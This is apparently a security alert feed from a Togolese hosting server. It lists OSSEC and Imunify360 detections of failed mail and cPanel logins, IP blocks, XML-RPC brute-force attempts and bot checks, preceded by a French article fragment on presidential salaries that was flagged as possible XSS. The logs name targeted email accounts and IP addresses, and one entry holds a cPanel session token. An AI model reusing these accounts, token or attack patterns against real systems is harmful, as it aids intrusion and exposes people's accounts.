-->\n<p>il est important de noter que le salaire officiel du pr\xc3\xa9sident s\xc3\xa9n\xc3\xa9galais reste parmi les plus modestes d\xe2\x80\x99afrique de l\xe2\x80\x99ouest en termes absolus, m\xc3\xaame si les avantages en nature (palais de la r\xc3\xa9publique, villa de la casamance, voitures officielles, s\xc3\xa9curit\xc3\xa9) repr\xc3\xa9sentent un compl\xc3\xa9ment de r\xc3\xa9mun\xc3\xa9ration difficile \xc3\xa0 chiffrer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>faure gnassingb\xc3\xa9 au togo</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le pr\xc3\xa9sident togolais faure gnassingb\xc3\xa9, au pouvoir depuis 2005, ne figure pas parmi les chefs d\xe2\x80\x99\xc3\x89tat qui communiquent volontiers sur leur r\xc3\xa9mun\xc3\xa9ration. les estimations disponibles situent son salaire officiel autour de 5 \xc3\xa0 7 millions de francs cfa par mois, soit entre 7.500 et 10.700 euros mensuels. mais dans la r\xc3\xa9alit\xc3\xa9, il pourrait gagner largement plus. le togo reste l\xe2\x80\x99un des pays les plus pauvres de la sous-r\xc3\xa9gion ouest-africaine, avec un pib par habitant estim\xc3\xa9 \xc3\xa0 678.732 fcfa, selon les chiffres de 2024, ce qui rend tout chiffre pr\xc3\xa9sidentiel tr\xc3\xa8s \xc3\xa9lev\xc3\xa9 en termes relatifs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>faure gnassingb\xc3\xa9 a par ailleurs modifi\xc3\xa9 la constitution togolaise en 2024, passant d\xe2\x80\x99un r\xc3\xa9gime pr\xc3\xa9sidentiel \xc3\xa0 un r\xc3\xa9gime parlementaire qui lui conf\xc3\xa8re d\xc3\xa9sormais la fonction de pr\xc3\xa9sident du conseil des ministres avec des pouvoirs \xc3\xa9tendus. cette r\xc3\xa9forme institutionnelle a des implications sur sa r\xc3\xa9mun\xc3\xa9ration officielle, mais les d\xc3\xa9tails pr\xc3\xa9cis restent flous dans les sources disponibles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>faure gnassingb\xc3\xa9 a succ\xc3\xa9d\xc3\xa9 \xc3\xa0 son p\xc3\xa8re gnassingb\xc3\xa9 eyad\xc3\xa9ma \xc3\xa0 la t\xc3\xaate du togo \xc3\xa0 la mort de celui-ci le 5 f\xc3\xa9vrier 2005. gnassingb\xc3\xa9 eyad\xc3\xa9ma \xc3\xa9tait \xc3\xa2g\xc3\xa9 de 69 ans. sa mort est survenue \xc3\xa0 bord de l\xe2\x80\x99avion qui l\xe2\x80\x99\xc3\xa9vacuait en isra\xc3\xabl pour des soins m\xc3\xa9dicaux. depuis lors, son fils est \xc3\xa0 la t\xc3\xaate du pays.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31157,\"width\":\"640px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/18d98b1d-0295-41c7-afab-fc9c13606bd0-724x1024.jpg\" alt=\"\" class=\"wp-image-31157\" style=\"width:640px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>le nigeria : un cas \xc3\xa0 part</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le nigeria est l\xe2\x80\x99\xc3\xa9conomie la plus importante d\xe2\x80\x99afrique. on pourrait donc s\xe2\x80\x99attendre \xc3\xa0 ce que son pr\xc3\xa9sident soit parmi les mieux pay\xc3\xa9s du continent. la r\xc3\xa9alit\xc3\xa9 est plus nuanc\xc3\xa9e. le salaire officiel du pr\xc3\xa9sident nig\xc3\xa9rian bola tinubu, entr\xc3\xa9 en fonctions en mai 2023, est fix\xc3\xa9 par la loi \xc3\xa0 environ 3 millions de nairas par an, ce qui repr\xc3\xa9sente, au taux de change de 2025 apr\xc3\xa8s la d\xc3\xa9valuation massive du naira, seulement 2 000 dollars am\xc3\xa9ricains (usd)/mois. c\xe2\x80\x99est l\xe2\x80\x99un des salaires officiels les plus bas du continent pour un chef d\xe2\x80\x99\xc3\x89tat d\xe2\x80\x99une grande puissance africaine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>mais ce chiffre est trompeur. les frais de repr\xc3\xa9sentation, les primes, les budgets discr\xc3\xa9tionnaires et les avantages en nature portent la r\xc3\xa9mun\xc3\xa9ration r\xc3\xa9elle \xc3\xa0 un niveau sans commune mesure avec le salaire de base. des r\xc3\xa9formes sont r\xc3\xa9guli\xc3\xa8rement discut\xc3\xa9es au nigeria pour revaloriser officiellement les salaires des \xc3\xa9lus et des fonctionnaires sup\xc3\xa9rieurs, afin de limiter les incitations \xc3\xa0 la corruption.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>tableau comparatif des salaires pr\xc3\xa9sidentiels africains</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>voici une synth\xc3\xa8se des donn\xc3\xa9es disponibles, en euros mensuels approximatifs, pour les principaux pays cit\xc3\xa9s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>(ces chiffres sont des estimations bas\xc3\xa9es sur les donn\xc3\xa9es publiques disponibles et peuvent varier en fonction du taux de change).</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>ce que les salaires officiels ne disent pas</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>derri\xc3\xa8re les chiffres officiels se cache une r\xc3\xa9alit\xc3\xa9 que les \xc3\xa9conomistes et les sp\xc3\xa9cialistes de la gouvernance africaine connaissent bien : dans de nombreux pays du continent, la fronti\xc3\xa8re entre patrimoine personnel et ressources de l\xe2\x80\x99\xc3\x89tat est floue pour les dirigeants au pouvoir depuis longtemps. des entreprises nationales, des march\xc3\xa9s publics, des avantages sur les changes de devises, des h\xc3\xa9ritages familiaux accumul\xc3\xa9s sur plusieurs mandats\xe2\x80\xa6 tout cela \xc3\xa9chappe aux statistiques officielles sur les salaires pr\xc3\xa9sidentiels africains.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>les organisations de lutte contre la corruption comme transparency international et global financial integrity documentent r\xc3\xa9guli\xc3\xa8rement ces flux, mais les chiffres pr\xc3\xa9cis restent difficiles \xc3\xa0 \xc3\xa9tablir avec certitude pour des raisons \xc3\xa9videntes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>vers plus de transparence ?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la pression citoyenne pour plus de transparence sur les r\xc3\xa9mun\xc3\xa9rations des dirigeants africains est r\xc3\xa9elle et croissante. dans plusieurs pays, des parlements ont impos\xc3\xa9 des d\xc3\xa9clarations de patrimoine obligatoires. en c\xc3\xb4te d\xe2\x80\x99ivoire, une haute autorit\xc3\xa9 pour la bonne gouvernance existe et re\xc3\xa7oit th\xc3\xa9oriquement ces d\xc3\xa9clarations, mais leur publicit\xc3\xa9 reste limit\xc3\xa9e.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>au s\xc3\xa9n\xc3\xa9gal, diomaye faye s\xe2\x80\x99est lui-m\xc3\xaame soumis \xc3\xa0 une d\xc3\xa9claration de patrimoine en d\xc3\xa9but de mandat, une d\xc3\xa9marche salu\xc3\xa9e par les observateurs m\xc3\xaame si sa port\xc3\xa9e r\xc3\xa9elle d\xc3\xa9pend des m\xc3\xa9canismes de v\xc3\xa9rification mis en place.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la question du salaire d\xe2\x80\x99un pr\xc3\xa9sident africain est donc \xc3\xa0 la fois simple et infiniment complexe. simple, parce qu\xe2\x80\x99un chiffre officiel existe. complexe, parce que ce chiffre ne raconte qu\xe2\x80\x99une petite partie de l\xe2\x80\x99histoire. et cette histoire-l\xc3\xa0, c\xe2\x80\x99est finalement celle du rapport entre l\xe2\x80\x99\xc3\x89tat, les ressources publiques et ceux qui en ont la responsabilit\xc3\xa9 au nom de leurs citoyens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>msn</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.7.207
country_id: 2363686
description:
2026-06-15 13:03:07 dovecot_login authenticator failed for H=(SHESAME) [196.171.7.207]:56870: 535 Incorrect authentication data (set_id=cndhtogo@cndh-togo.org)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.166.29.16
country_id: 2017370
description:
2026-06-15 13:04:12 dovecot_login authenticator failed for H=([183.171.208.25]) [5.166.29.16]:59532: 535 Incorrect authentication data (set_id=dasha9198)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.0.127.22
country_id: 1835841
description:
Jun 15 13:03:40 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.0.127.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.0.127.22
country_id: 1835841
description:
2026-06-15 13:03:42 dovecot_login authenticator failed for H=([182.95.87.3]) [59.0.127.22]:34518: 535 Incorrect authentication data (set_id=dasha9198@atms.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.172.16.153
country_id: 1562822
description:
[2026-06-15 13:04:04 +0000] info [whostmgrd] 14.172.16.153 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.166.29.16
country_id: 2017370
description:
Jun 15 13:04:10 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.166.29.16 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 117.214.40.152
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:19bad663207e514e85b816ec09363346563aa75a||Title:4xzz5j4g2w0xdtm||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.19.138.74
country_id: 1269750
description:
Jun 15 13:04:24 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.19.138.74 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.138.74
country_id: 1269750
description:
2026-06-15 13:04:26 dovecot_login authenticator failed for H=(clients41-krd-155.freedom1.ru) [125.19.138.74]:45548: 535 Incorrect authentication data (set_id=elogdoyoih@otr.tg)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.168.130.231
country_id: 2363686
domain: togomedia24.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<span style=\"font-family: verdana, geneva, sans-serif;\">la participation togolaise \xc3\xa0 des \xc3\xa9v\xc3\xa9nements majeurs comme age africa ou d\xe2\x80\x99autres forums porte ses fruits. les investisseurs sont invit\xc3\xa9s \xc3\xa0 d\xc3\xa9couvrir les opportunit\xc3\xa9s dans plusieurs secteurs porteurs.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">les responsables mettent en avant la stabilit\xc3\xa9 politique et les r\xc3\xa9formes entreprises ces derni\xc3\xa8res ann\xc3\xa9es. cela cr\xc3\xa9e un climat propice aux affaires.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">des partenariats concrets sont en cours de n\xc3\xa9gociation dans l\xe2\x80\x99\xc3\xa9nergie, les transports et l\xe2\x80\x99agro-industrie.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">ces initiatives contribuent \xc3\xa0 positionner lom\xc3\xa9 comme une plateforme \xc3\xa9conomique attractive en afrique de l\xe2\x80\x99ouest.</span>||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.171.55.242
country_id: 1269750
description:
Jun 15 13:04:42 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.171.55.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.171.55.242
country_id: 1269750
description:
2026-06-15 13:04:44 dovecot_login authenticator failed for H=([14.46.19.209]) [103.171.55.242]:45834: 535 Incorrect authentication data (set_id=elogdoyoih)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 154.7.240.99
country_id: 3469034
domain: sncom.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/139.0.7258.5 Safari/537.36||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 20.40.60.76
country_id: 1269750
description:
[2026-06-15 13:08:18 +0000] info [whostmgrd] 20.40.60.76 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.140.242.40
country_id: 3469034
description:
Jun 15 13:07:37 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.140.242.40 has been locked due to Imunify RBL


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 178.20.215.15
country_id: 241170
domain: metaart.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:Ajatovivi1994.metaart.tg||Method:wp.getUsersBlogs


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.42.116.42
country_id: 2750405
description:
Jun 15 13:08:47 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.42.116.42 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:13:08:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13145189&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781528928 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:13:08:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6974562&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781528931 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 20.40.60.76
country_id: 1269750
description:
[2026-06-15 13:08:20 +0000] info [whostmgrd] 20.40.60.76 - root "GET /cpsess9711581840/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 85.215.117.93
country_id: 2921044
description:
[2026-06-15 13:10:00 +0000] info [whostmgrd] 85.215.117.93 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.28.226.124
country_id: 1036973
description:
Jun 15 13:09:49 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.28.226.124 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.28.226.124
country_id: 1036973
description:
2026-06-15 13:09:51 dovecot_login authenticator failed for H=(atlanta-1.cdn77.com) [196.28.226.124]:44348: 535 Incorrect authentication data (set_id=felix.barigao@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.185.255.227
country_id: 1814991
description:
Jun 15 13:09:34 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.185.255.227 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.93.51.46
country_id: 3469034
description:
Jun 15 13:09:59 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.93.51.46 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.93.51.46
country_id: 3469034
description:
2026-06-15 13:10:01 dovecot_login authenticator failed for H=(s0106c4509cd21c7e.vf.shawcable.net) [187.93.51.46]:43125: 535 Incorrect authentication data (set_id=felix.barigao)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.215.117.93
country_id: 2921044
description:
[2026-06-15 13:09:59 +0000] info [whostmgrd] 85.215.117.93 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.66.6.155
country_id: 953987
description:
Jun 15 13:13:07 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.66.6.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.66.6.155
country_id: 953987
description:
Jun 15 13:13:21 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.66.6.155 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [15/Jun/2026:13:14:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13146826&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781529241 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 38.25.18.117
country_id: 3932488
description:
38.25.18.117 - - [15/Jun/2026:13:13:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12870044&pdata=https%253A%252F%252Feducplusmedia.tg%252F2025%252F08%252F10%252Fculture-bella-bellow-sa-voix-eternelle-portee-par-la-trompette-ghaneenne-lors-de-lhommage-aux-ministres-disparus%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781529205 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2025/08/10/culture-bella-bellow-sa-voix-eternelle-portee-par-la-trompette-ghaneenne-lors-de-lhommage-aux-ministres-disparus/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.4671.1299 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:38.25.18.117


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.168.130.231
country_id: 2363686
domain: togomedia24.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<span style=\"font-family: verdana, geneva, sans-serif;\">\xc3\x80 quelques jours de la f\xc3\xaate nationale, les comit\xc3\xa9s d\xe2\x80\x99organisation travaillent d\xe2\x80\x99arrache-pied. les r\xc3\xa9p\xc3\xa9titions pour le d\xc3\xa9fil\xc3\xa9 et les manifestations culturelles battent leur plein.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">les autorit\xc3\xa9s locales et les associations sont pleinement mobilis\xc3\xa9es pour faire de cet \xc3\xa9v\xc3\xa9nement un moment de coh\xc3\xa9sion nationale.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">cette effervescence patriotique touche toutes les r\xc3\xa9gions du pays, des grandes villes aux villages.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">les togolais attendent avec impatience ce rendez-vous annuel qui c\xc3\xa9l\xc3\xa8bre l\xe2\x80\x99histoire et les ambitions futures du pays.</span>||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.4
country_id: 1835841
description:
2026-06-15 13:16:08 dovecot_login authenticator failed for H=([72.206.74.97]) [203.252.10.4]:44279: 535 Incorrect authentication data (set_id=j_essoh@centif.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.252.10.4
country_id: 1835841
description:
Jun 15 13:16:06 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.252.10.4 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.175.242.116
country_id: 2635167
description:
2026-06-15 13:17:40 dovecot_login authenticator failed for H=(cameg-togo.tg) [5.175.242.116]:19591: 535 Incorrect authentication data (set_id=sales@mail.cameg-togo.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:13:17:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:13:17:59 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.84.39
country_id: 2363686
description:
2026-06-15 13:21:26 dovecot_login authenticator failed for H=(slave3) [154.70.84.39]:33612: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.181
country_id: 1880251
description:
47.128.96.181 - - [15/Jun/2026:13:22:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6907752&pdata=https%253A%252F%252Fcfpj.tg%252Fhistorique%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781529740 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/historique/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.181


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.222.145.59
country_id: 192950
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/lutte-contre-le-coronavirus-lambassade-du-togo-en-france-devoile-son-plan-de-gestion-de-la-crise/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.173.209.105
country_id: 6252001
domain: tps.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/148.0.0.0 Safari/537.36||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 130.51.20.151
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:13-24.130.51.20.151||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.208
country_id: 2635167
description:
[2026-06-15 13:25:36 +0000] info [cpaneld] 5.230.153.208 NEW wcnyaruu:EZx_7sj7TLo4DwNU address=5.230.153.208,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.199.70
country_id: 2363686
description:
[2026-06-15 13:25:30 +0000] info [webmaild] 160.242.199.70 - yadjor@caissederetraites.tg "POST /cpsess8528157635/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [160.242.195.10] != Current IP Address [160.242.199.70]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.84.39
country_id: 2363686
description:
2026-06-15 13:25:26 dovecot_login authenticator failed for H=(slave3) [154.70.84.39]:53724: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.208
country_id: 1880251
description:
47.128.96.208 - - [15/Jun/2026:13:26:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10261403&pdata=https%253A%252F%252Fcfpj.tg%252Fcategory%252Fnon-classe%252F%253F__im-mLcLAlHa%253D3875901866547102545%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781529980 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/category/non-classe/?__im-mLcLAlHa=3875901866547102545%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F12%2F%2Fpage%2F12%2F%2Fpage%2F12%2F%2Fpage%2F2%2F%2Fpage%2F12%2F%2Fpage%2F3%2F" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.208


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
